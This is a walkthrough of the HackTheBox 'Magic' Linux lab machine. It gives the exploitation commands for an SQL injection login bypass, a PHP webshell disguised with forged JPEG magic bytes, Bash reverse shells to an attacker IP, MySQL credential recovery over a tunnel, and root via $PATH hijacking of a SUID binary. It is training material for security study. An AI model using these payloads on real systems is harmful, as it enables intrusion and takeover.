Overview
Magic is a medium HackTheBox Linux machine centred on an image gallery application. A classic SQL injection bypasses its login form and reaches an upload feature, whose weak file-type validation is defeated by forging JPEG magic bytes ahead of a PHP webshell payload. A database file recovered from the webroot yields MySQL credentials for lateral movement to a second user, and privilege escalation exploits a SUID binary that calls an external tool by relative path, allowing that call to be hijacked with a malicious binary placed earlier in $PATH.
Attack Chain
- Scan the target and identify
SSHon port22and an HTTP service on port80 - Find an image gallery site with a login form, and rule out default credentials
- Bypass the login with a basic SQL injection payload
- Reach an image upload page and confirm uploads are restricted to
JPG,JPEG, andPNG - Forge JPEG magic bytes ahead of a PHP webshell to bypass the file-type filter
- Fuzz the site to find the
/images/uploadsdirectory, which is forbidden to browse directly - Access the uploaded webshell directly by its known filename
- Get a reverse shell as
www-data - Find a database file in the application’s webroot containing credentials
- Enumerate the MySQL database over a
ligolotunnel and recover a second credential pair - Use
suwith the new credentials to switch totheseusand read the user flag - Find an unusual
SUIDbinary,/bin/sysinfo - Use
ltraceto observe it callinglshwvia a relative path throughpopen - Plant a malicious
lshwscript in/tmpand prepend it to$PATH - Re-run
/bin/sysinfoto trigger the hijacked binary and catch a root shell - Read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.2.219; export NAME=MAGIC; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
22,80
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Web Enumeration
Login Bypass via SQL Injection
Browsing to port 80 shows an image gallery site with a Login link at the bottom.

We navigate to the login page. A few combinations of default credentials don’t work.

We bypass the login with a basic SQL injection payload:
' or 1=1 -- -

Foothold
Bypassing the Upload Filter
We’re directed to an upload page.

We select a .jpeg file and it uploads successfully.

We confirm this by browsing to the home gallery page.

We try uploading a PHP webshell and get an error that only JPG, JPEG, and PNG files are allowed.

We also try renaming our webshell to webshell.php.jpeg, and still get an error.

We try forging JPEG magic bytes at the start of the webshell instead. See here for a reference list of file signatures:
https://en.wikipedia.org/wiki/List_of_file_signatures
We add the JPEG magic bytes to a file called webshell.php.jpeg with xxd.
echo 'FF D8 FF DB' | xxd -p -r > webshell.php.jpeg
We then append our wwwolf-php-webshell payload after the magic bytes.
cat webshell.php >> webshell.php.jpeg
This time, the upload succeeds.

Locating and Triggering the Webshell
Our payload doesn’t show up in the gallery, so we fuzz the site to find an upload directory.
dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r
Filtering the results with awk for 200 and 300 responses, we find an interesting /images/uploads folder.

Navigating there directly gives a 403 Forbidden error.

We may not be able to browse the folder, but we can still access our uploaded webshell.php.jpeg by name.

We use a Bash reverse shell payload.
bash -c 'bash -i >& /dev/tcp/10.10.14.137/443 0>&1'

We have a shell as www-data.

Lateral Movement
Recovering Database Credentials
We look in /var/www/Magic, the main folder for the gallery app, and find a database file.

We find credentials inside it.

theseus:iamkingtheseus
These credentials don’t work for SSH on their own.
Enumerating MySQL
We check listening ports and see the database service running on port 3306.

mysql isn’t installed on the target, so we create a ligolo tunnel to reach the database from our attacking machine.
mysql -u theseus -p'iamkingtheseus' -h 240.0.0.1 -P 3306 --skip-ssl
Our enumeration commands:
show databases;
use Magic;
show tables;
select * from login;
We find more credentials.

admin:Th3s3usW4sK1ng
We use su theseus with the extracted password to switch users.

We read the user flag.

Privilege Escalation
Finding an Unusual SUID Binary
We look for binaries with the SUID bit set.


We find /bin/sysinfo, which is out of the ordinary. Running it produces a bunch of system information.


Path Hijacking with ltrace
We use ltrace to see if anything interesting stands out.
ltrace /bin/sysinfo
We immediately see it uses popen to run an lshw command via a relative path.

We can abuse this by creating a malicious lshw binary and prepending /tmp to the $PATH variable, so our version resolves first.
We navigate to /tmp and write a basic Bash reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.137/443 0>&1
We create the payload and make it executable.

We add /tmp to the $PATH variable.
export PATH=/tmp:$PATH

We start a penelope listener on port 443 and execute the binary.
/bin/sysinfo
It doesn’t complete like before, a sign that our malicious lshw binary executed instead.

We catch a shell as root.

We read the root flag.

Key Takeaways
Magic layers two well-known but still very common web weaknesses: an unsanitised login query vulnerable to SQL injection, and a file upload filter that trusts a file’s extension rather than its actual content, defeated by simply prepending the right magic bytes. The privilege escalation is the more instructive part: /bin/sysinfo was granted SUID root but called an external tool by a bare, relative name rather than an absolute path, letting a lower-privileged user redirect that call anywhere they liked by controlling $PATH. Trusting the environment inside a privileged binary is almost always a mistake.